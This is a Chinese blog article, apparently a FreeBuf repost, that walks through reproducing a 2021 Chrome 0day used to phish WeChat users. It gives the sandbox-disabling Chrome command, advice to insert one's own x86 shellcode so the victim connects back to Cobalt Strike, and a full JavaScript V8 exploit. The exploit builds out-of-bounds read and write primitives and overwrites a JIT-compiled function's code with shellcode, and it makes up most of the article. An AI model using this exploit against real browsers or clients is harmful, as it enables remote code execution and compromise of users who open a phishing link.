Chrome-0day引发的一波蝴蝶效应

2021年7月20日06:07:05评论64 views字数 3892阅读12分58秒阅读模式

文章来源：FreeBuf By：To凌镜

0x00 前言

近日Chrome爆出0day在安全圈内掀起了一大波浪潮，恰好又正处攻防演练期间，这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程，笔者秉承着学习的心态，复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏，请各位大佬留言指正。

0x01 漏洞利用条件

1.本次漏洞是由Chrome浏览器引起的远程代码执行，由于Chrome本身是存在沙箱的，想要利用此次漏洞，条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。

CMD下运行以下代码，关闭沙箱: C:UsersXXXAppDataLocalGoogleChromeApplicationchrome.exe -no-sandbox

2.由于微信中默认使用Chrome内核，且沙箱处于关闭状态，如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接，诱使用户点击从而触发隐藏在链接中的shellcode。

Chrome-0day引发的一波蝴蝶效应

0x02 漏洞利用过程

1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。

注意：Poc使用要与微信版本对应，否则无法上线。

Poc如下：

ENABLE_LOG = true;IN_WORKER = true;
// run calc and hang in a loopvar shellcode = [      ];//shellcode替换成自己的 注意是x86的function print(data){}
var not_optimised_out = 0;var target_function = (function (value) {    if (value == 0xdecaf0) {        not_optimised_out += 1;    }    not_optimised_out += 1;    not_optimised_out |= 0xff;    not_optimised_out *= 12;});
for (var i = 0; i < 0x10000; ++i) {    target_function(i);}
var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;
function cb(flag) {    if (flag == true) {        return;    }    g_array = new Array(0);    g_array[0] = 0x1dbabe * 2;    return 'c01db33f';}
function gc() {    for (var i = 0; i < 0x10000; ++i) {        new String();    }}
function oobAccess() {    var this_ = this;    this.buffer = null;    this.buffer_view = null;
    this.page_buffer = null;    this.page_view = null;
    this.prevent_opt = [];
    var kSlotOffset = 0x1f;    var kBackingStoreOffset = 0xf;
    class LeakArrayBuffer extends ArrayBuffer {        constructor() {            super(0x1000);            this.slot = this;        }    }
    this.page_buffer = new LeakArrayBuffer();    this.page_view = new DataView(this.page_buffer);
    new RegExp({ toString: function () { return 'a' } });    cb(true);
    class DerivedBase extends RegExp {        constructor() {            // var array = null;            super(                // at this point, the 4-byte allocation for the JSRegExp `this` object                // has just happened.                {                    toString: cb                }, 'g'                // now the runtime JSRegExp constructor is called, corrupting the                // JSArray.            );
            // this allocation will now directly follow the FixedArray allocation            // made for `this.data`, which is where `array.elements` points to.            this_.buffer = new ArrayBuffer(0x80);            g_array[8] = this_.page_buffer;        }    }
    // try{    var derived_n = eval(`(function derived_n(i) {        if (i == 0) {            return DerivedBase;        }
        class DerivedN extends derived_n(i-1) {            constructor() {                super();                return;                ${"this.a=0;".repeat(tDerivedNCount)}            }        }
        return DerivedN;    })`);
    gc();
    new (derived_n(tDerivedNDepth))();
    this.buffer_view = new DataView(this.buffer);    this.leakPtr = function (obj) {        this.page_buffer.slot = obj;        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);    }
    this.setPtr = function (addr) {        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);    }
    this.read32 = function (addr) {        this.setPtr(addr);        return this.page_view.getUint32(0, true, ...this.prevent_opt);    }
    this.write32 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint32(0, value, true, ...this.prevent_opt);    }
    this.write8 = function (addr, value) {        this.setPtr(addr);        this.page_view.setUint8(0, value, ...this.prevent_opt);    }
    this.setBytes = function (addr, content) {        for (var i = 0; i < content.length; i++) {            this.write8(addr + i, content[i]);        }    }    return this;}
function trigger() {    var oob = oobAccess();
    var func_ptr = oob.leakPtr(target_function);    print('[*] target_function at 0x' + func_ptr.toString(16));
    var kCodeInsOffset = 0x1b;
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);    print('[*] code_addr at 0x' + code_addr.toString(16));
    oob.setBytes(code_addr, shellcode);
    target_function(0);}
try{    print("start running");    trigger();}catch(e){    print(e);}